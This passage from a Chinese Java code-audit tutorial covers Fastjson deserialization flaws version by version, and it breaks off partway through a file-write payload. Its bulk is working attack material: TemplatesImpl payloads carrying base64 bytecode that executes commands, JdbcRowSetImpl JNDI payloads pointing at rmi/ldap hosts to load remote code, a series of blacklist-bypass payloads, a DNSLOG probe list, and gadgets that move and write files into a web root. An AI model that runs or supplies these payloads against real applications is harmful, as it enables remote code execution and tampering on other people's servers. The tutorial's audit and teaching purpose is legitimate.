com.caucho.hessian.io
com.caucho.burlap.io.BurlapInput
com.caucho.burlap.io.BurlapOutput
org.codehaus.castor
Unmarshaller
jsonToJava\(.*
JsonObjectsToJava\/.*
JsonReader
ObjectMapper\(
enableDefaultTyping\(\s*\)
@JsonTypeInfo\(
readValue\(.*\,\s*Object\.class
com.alibaba.fastjson.JSON
JSON.parseObject
com.owlike.genson.Genson
useRuntimeType
genson.deserialize
org.red5.io
deserialize\(.*\,\s*Object\.class
\.Yaml
\.load\(.*
\.loadType\(.*\,\s*Object\.class
YamlReader
com.esotericsoftware.yamlbeans
。。。。。。

其他语言序列化,反序列化特征参考: 

Java代码审计详解_第136张图片

4)半自动化寻找反序列化sink

(1)Insecure Deserialization: Finding Java Vulnerabilities with CodeQL | GitHub Security Lab

(2)codeql

5)半自动化寻找反序列化利用链

(1)https://www.mandiant.com/resources/hunting-deserialization-exploits

(2)GitHub - wh1t3p1g/tabby: A CAT called tabby ( Code Analysis Tool )

(3)GitHub - JackOfMostTrades/gadgetinspector: A byte code analyzer for finding deserialization gadget chains in Java applications

十四、Fastjson反序列化审计及修复

1、Fastjson简介

FastJson 是一个由阿里巴巴研发的java库,FastJson是开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到Java Bean。

项目地址:GitHub - alibaba/fastjson: A fast JSON parser/generator for Java.

“自2017年3月15日,fastjson官方主动爆出其在1.2.24及之前版本存在远程代码执行高危安全漏洞以来,各种新型绕过姿势层出不穷。“

漏洞被利用本质找到一条有效的攻击链,攻击链的末端就是有代码执行能力的类,来达到我们想做的事情,一般都是用来RCE(远程命令执行)。构造一个触发器,也就是通过什么方式来让攻击链执行你想要的代码。触发器可以通过很多方式,比如静态代码块、构造方法等等。

Fastjson反序列化漏洞被利用的原因,可以归结为两方面:

1. Fastjson提供了反序列化功能,允许用户在输入JSON串时通过 “@type”键对应的value指定任意反序列化类名。

2. Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。

攻击者可以构造恶意请求,使目标应用的代码执行流程进入这部分特定setter或getter方法,若上述方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。官方采用了黑名单方式对反序列化类名校验,但随着时间的推移及自动化漏洞挖掘能力的提升。新Gadget会不断涌现,黑名单这种治标不治本的方式只会导致不断被绕过,从而对使用该组件的用户带来不断升级版本的困扰。

2、Fastjson使用

直接POM导入:


    
        com.alibaba
        fastjson
        x.x.xx
    

import com.alibaba.fastjson.JSON

fastjson有两种常见的处理JSON的方法

  • JSON.toJSONString()方法:可将对象转换成JSON字符串
  • JSON.parseObject()方法:将JSON字符串转换成对象。

下面看一波实例:创建一个对象,将其转为JSON,然后再转回对象。 同时可以发现,在JSON序列化时,会调用类的getxxx方法;在JSON反序列化时,会调用类的构造方法:

public class App 
{
    public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }
        public void setId(String ids){
            System.out.println("setId go");
            this.id=ids;
        }
        public String getId(){
            System.out.println("GetId go");
            return this.id;
        }
    }

    public static void main(String[] args){
        User a = new User();
        String json = JSON.toJSONString(a);
        System.out.println(json);
        System.out.println(JSON.parseObject(json,User.class));
    }
}
User go
GetId go
{}
User go
org.example.App$User@36d4b5c

3、FASTJSON反序列化漏洞起源

我们可以看到,把JSON反序列化的语句是 JSON.parseObject(json,User.class),在指定JSON时,还需要指定其所属的类,显得代码就很臃肿,所以开发人员可以使用@type(autotype)字符段来使其不那么臃肿。 像下面这样,在JSON通过指定@type的值来实现定位某类。

JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}")

虽说这么做很方便,但是以这种方法进行反序列化,会执行类的构造方法和属性相关的get,set方法:

public class App 
{
    public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }
        public void setId(String ids){
            System.out.println("setId go");
            this.id=ids;
        }
        public String getId(){
            System.out.println("GetId go");
            return this.id;
        }
    }

    public static void main(String[] args){
        System.out.println(JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}"));
    }
}
User go
setId go
GetId go
{"id":"123"}

所以在这个JSON反序列化接口处,我们传入恶意的JSON,就可以调用任意类的构造方法以及属性相关的get,set方法。 如果某类的相关方法里有危险的代码(如执行某个命令),我们就可以构造恶意JSON达到RCE的作用。

JSON.parseObject(“{"@type":"org.example.App$User","id":"123"}”,Feature.SupportNonPublicField) ,可以直接为private成员赋值(不加Feature.SupportNonPublicField是无法对private成员赋值的)。

4、FASTJSON漏洞版本复现

1)1.2.24

TemplatesImpl

是的,就是7U21链里面的:

这个类本身就存在反序列化漏洞,会将成员变量_bytecodes的数据作为类的字节码进行newInsantce操作从而调用其构造方法或static块。故可以fastjson为契机去调用此类。 但是由于_name 和_bytecodes 是私有属性,所以需要FASTJSON反序列化接口有Feature.SupportNonPublicField参数才能实现,利用条件很苛刻,但是条件允许的话就很方便,payload打过去就完事。

“_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,这没关系,我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象,这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。“

payload
{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

_bytecodes的类长这样,编译生成Evil.class,将字节码读出并用base64加密,作为_bytecodes

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet{
static {
            System.err.println("Pwned");
            try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                e.printStackTrace();
            }
         }

         @Override
         public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
                  // anything
         }

         @Override
         public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
                  // anything
         }
}

JdbcRowSetImpl

com.sun.rowset.JdbcRowSetImpl,通过JNDI注入来实现RCE。但需注意JNDI注入有JDK版本限制,高版本需要进行绕过。

我们的payload一般长这样:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
or
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099/exp","autoCommit":true}

把这个payload打过去,会执行setAutoCommit(),又setAutoCommit()执行了connct()函数,其如下。 connect()会对dataSourceName属性进行一个InitialContext.lookup(dataSourceName),从而实现JNDI注入。

private Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

2)1.2.25

更新机制

1.2.24及以前版本就跟白纸一样随便打,在1.2.25开始加入了黑白名单机制。

我们继续用1.2.24的payload(这里用TemplatesImpl的payload)去打,会发现报错autotype不支持

究其原因,是因为在com.alibaba.fastjson.parser.ParserConfig 加入了CheckAutoType方法:

com.alibaba.fastjson.parser.ParserConfig !public Class checkAutoType(String typeName, Class expectClass)

在其中有个autotypesupport属性,如果为false,那么就会检测json中@type的值 开头是否与黑名单中的值一样,若一样就直接返回一个异常,然后加载白名单中的类:

if (!autoTypeSupport) {
			\\黑名单检测,classname是传入类的全名,denyList是黑名单
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

Java代码审计详解_第137张图片

黑名单长这样,若autotypesupport开启,则会先白名单加载,后黑名单检测:

if (autoTypeSupport || expectClass != null) {
    for (int i = 0; i < acceptList.length; ++i) {
        String accept = acceptList[i];
        if (className.startsWith(accept)) {
            return TypeUtils.loadClass(typeName, defaultClassLoader);
        }
    }

    for (int i = 0; i < denyList.length; ++i) {
        String deny = denyList[i];
        if (className.startsWith(deny)) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

后面的许多更新都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复,以及黑名单的不断增加。

bypass 1(L;法)1.2.25-1.2.41

当autoTypeSupport开启或expectClass不为空时,会调用一个loadclass方法:

if (this.autoTypeSupport || expectClass != null) {
    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

而在其中,若类名以L开头;结尾,则会把这两个字符去掉并加载类。

“至于为什么会有这种奇怪的处理,L 和 ; 这一对字符其实是 JVM 字节码中用来表示类名的:”

if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

所以在autotypesupport开启时,我们可以构造如下payload来bypass:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://ip:1099","autoCommit":true}

如何开启autotypesupport?只需在json被解析前加入如下代码即可:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

bypass 2(json内置)1.2.25-1.2.47

1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;

1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/Exploit",
        "autoCommit":true
    }
}

3)1.2.42

更新机制

42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以L开头,;结尾,则会用stubstring处理一下(这个判断是由HASH来判断的,看不懂,但我大受震撼):

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    className = className.substring(1, className.length() - 1);
}

bypass(双写绕过)

那么直接一手双写绕过:

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://127.0.0.1:2357/Command8",
    "autoCommit":true
}

4)1.2.42

更新机制

针对双写绕过套了个子判断。

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

Bypass

TypeUtils.loadClass 中除了对L;进行判断,还有对[进行了判断:

} else if (className.charAt(0) == '[') {
    Class componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
} 

围绕这个展开,构造如下payload,具体为啥这么构造没有细跟,反正跟[有关:

{
  "@type" : "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[,{
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

5)1.2.44

更新机制

44版本针对43版本的绕过作了处理,[ 开头或者 L 开头 ; 结尾都会抛出异常:

Java代码审计详解_第138张图片

Bypass

JSON内置完美击破

 6)1.2.47-67

更新机制

由于47修复了JSON内置绕过,这些版本里也没啥很好的绕过方法,网上多是从黑名单中结合JNDI注入找漏网之鱼。

7)1.2.68

68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常,只要设置@type类型,想反序列化指定类对象的时候,就会抛异常,也就是说开了safemod的站可以不用看了。 当然这个版本expectClass绕过AutoType是可以打一打的。

Bypass expectClass绕过AutoType <=1.2.68

这里通过一个demo展示一下:

package org.example;

import java.io.IOException;

public class VulAutoCloseable implements AutoCloseable {
    public VulAutoCloseable(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


    @Override
    public void close() throws Exception {

    }
}

然后我们的payload:

public class evil {
        public static void main(String[] args){
            System.out.println(JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.VulAutoCloseable\",\"cmd\":\"calc\"}\n"));
        }
    }

执行后弹计算器:

Java代码审计详解_第139张图片

我们通过调试来看看具体是怎么个回事

调试:

于checkautotype 处下断点。

可以发现传入的typename是 AutoCloseable。此时的expectClass是NULL

往下,直接从缓存Mapping可以直接获得此类:

可以发现传入的typename是 AutoCloseable。此时的expectClass是NULL

往下,直接从缓存Mapping可以直接获得此类:

然后直接被return了,甚至没有走autoTypeSupport校验。

Java代码审计详解_第140张图片

clazz被return到了defaultjsonparser里,往下看逻辑可以发现从对clazz进行了一个deserialze方法,跟进:

Java代码审计详解_第141张图片

会跟到这里来:

Java代码审计详解_第142张图片

往下看,会因为由Autocloseable不能通过getSeeAlso方法成功生成deserializer对象,从而触发第二轮checkAutoType:

Java代码审计详解_第143张图片

第二轮传入checkAutoType的参数依次为 第二个@type值,第一个@type值,和一个不重要的lexer.getFeatures()。

进来checkAutoType后,会先对exceptclass进行白名单校验,Autocloseable类自然是随便过掉,然后使exceptClassFlag置为true:

Java代码审计详解_第144张图片

随后便是一些对typename的黑白名单校验,由于typename是org.example.VulAutoCloseable,不在黑白名单中,所以校验自然都通过了。 以下是依次的校验顺序。

黑名单校验:

先白后黑,其中所有的Array.binarySearch结果都是0,自然就能通过IF条件:

Java代码审计详解_第145张图片

先黑后白: 

Java代码审计详解_第146张图片

冲破重重考验,typename指定类被传入TypeUtils.loadClass,跟进:

Java代码审计详解_第147张图片

会来到这里,VulAutoCloseable的类对象被返回:

Java代码审计详解_第148张图片

然后会对这个类对象进行校验,校验是否为ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常,这也是过滤大多数JNDI注入Gadget的机制: 

Java代码审计详解_第149张图片

然后判断clazz是否是exceptClass的子类,是的话就直接返回类对象。类对象被返回后,就会进入被反序列化的下一个过程,它的构造方法等会被调用,从而完成利用。 

Java代码审计详解_第150张图片

5、Fastjson反序列化漏洞代码审计

对编程人员而言,在使用Fastjson反序列化时会使用到Fastjson所提供的几个静态方法:

parse (String text)
parseObject(String text)
parseObject(String text, Class clazz)

无论使用上述哪种方式处理JSON字符串,都会有机会调用目标类中符合要求的Getter方法或者Setter方法,如果一个类中的Getter或者Setter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。

核心代码:

    @RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
    @ResponseBody
    public String Deserialize(@RequestBody String params) {
    // 如果Content-Type不设置application/json格式, post数据会被url编码
    try {
        // 将post提交的string转换为json
        JSONObject ob = JSON.parseObject(params);
        return ob.get("name").toString(); 
    } catch (Exception e) {
        return e.toString();
    }
}

    public static void main(String[] args) {
        // Open calc in mac
        String payload = "
{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc .trax.TemplatesImpl\", \"_bytecodes\": 
[\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc 2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGP GluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAE kxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZ XRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzc y9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7A QAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsY W4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY 2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb 25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvY XBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kb GVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb C9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y 2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb i9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZ S94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL 3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL 1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY 29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQ Xhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvY XBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6Y XRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwAC gALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU 3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZ S94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0V HJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zd W4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc 2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HY WRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAK gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMA CwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlY wEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZ XNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlna HRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACA
AgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAA AYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAP wAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEAD wA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATA BsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAA CoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAH gAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAA wFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjA BAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
    JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

使用parseObject 来解析json字符串,用POST方法打开,Content-Type设置为application/json,暴露使用的fastjson:

Java代码审计详解_第151张图片

使用DNSLOG验证: 

{"@type":"java.net.Inet4Address","val":"dnslog"}{"name":
{"@type":"java.net.InetAddress","val":"dnslog"}}
{"@type":"java.net.InetSocketAddress"
{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", 
{"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"} Set[{"@type":"java.net.URL","val":"dnslog"}] Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari .HikariConfig","metricRegistry":"ldap://dnslog/"}{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari .HikariConfig","healthCheckRegistry":"ldap://dnslog/ "}
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFacto ry", "jndiNames":["ldap://dnslog/"], "Realms":[""]}{"@type":"org.apache.xbean.propertyeditor.JndiConver ter","asText":"ldap://dnslog/"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.J taTransactionConfig","properties": 
{"@type":"java.util.Properties","UserTransaction":"l dap://dnslog/"}
{"@type":"org.apache.cocoon.components.slide.impl.JM SContentInterceptor", "parameters": 
{"@type":"java.util.Hashtable","java.naming.factory. initial":"com.sun.jndi.rmi.registry.RegistryContextF actory","topic-factory":"ldap://dnslog/"}, "namespace":""}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","he althCheckRegistry":"ldap://dnslog/"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSource Name":"ldap://dnslog/", "autoCommit":true}
{"@type":"org.apache.commons.proxy.provider.remoting .SessionBeanProvider","jndiName":"rmi://dnslog/"}{"@type":"org.apache.commons.proxy.provider.remoting .SessionBeanProvider","jndiName":"ldap://dnslog/","Object":"a"}
{"@type":"com.zaxxer.hikari.HikariConfig","metricReg istry":"ldap://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthChe ckRegistry":"ldap://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","metricReg istry":"rmi://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthChe ckRegistry":"rmi://dnslog/"}

Java代码审计详解_第152张图片

Java代码审计详解_第153张图片

存在的漏洞版本:fastjson <=1.2.68
如何修复:fastjson 升级,升级到最新。 

文件移动:将一个文件中的内容移动到新的一个文件中去,原来文件的内容消失。

    org.aspectj    aspectjtools    1.9.5
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"D:/b.txt", "targetPath":"E:/b.txt"}

文件写入:


  com.sleepycat
  je
  5.0.73



  com.esotericsoftware
  kryo
  4.0.0



  org.aspectj
  aspectjtools
  1.9.5
{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "D:/wamp64/www/hacked.txt", \\创建一个空文件
        "tempPath": "D:/wamp64/www/test.txt"\\创建一个有内容的文件
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "cHduZWQ=", \\base64后的文件内容
        "outputStream": {
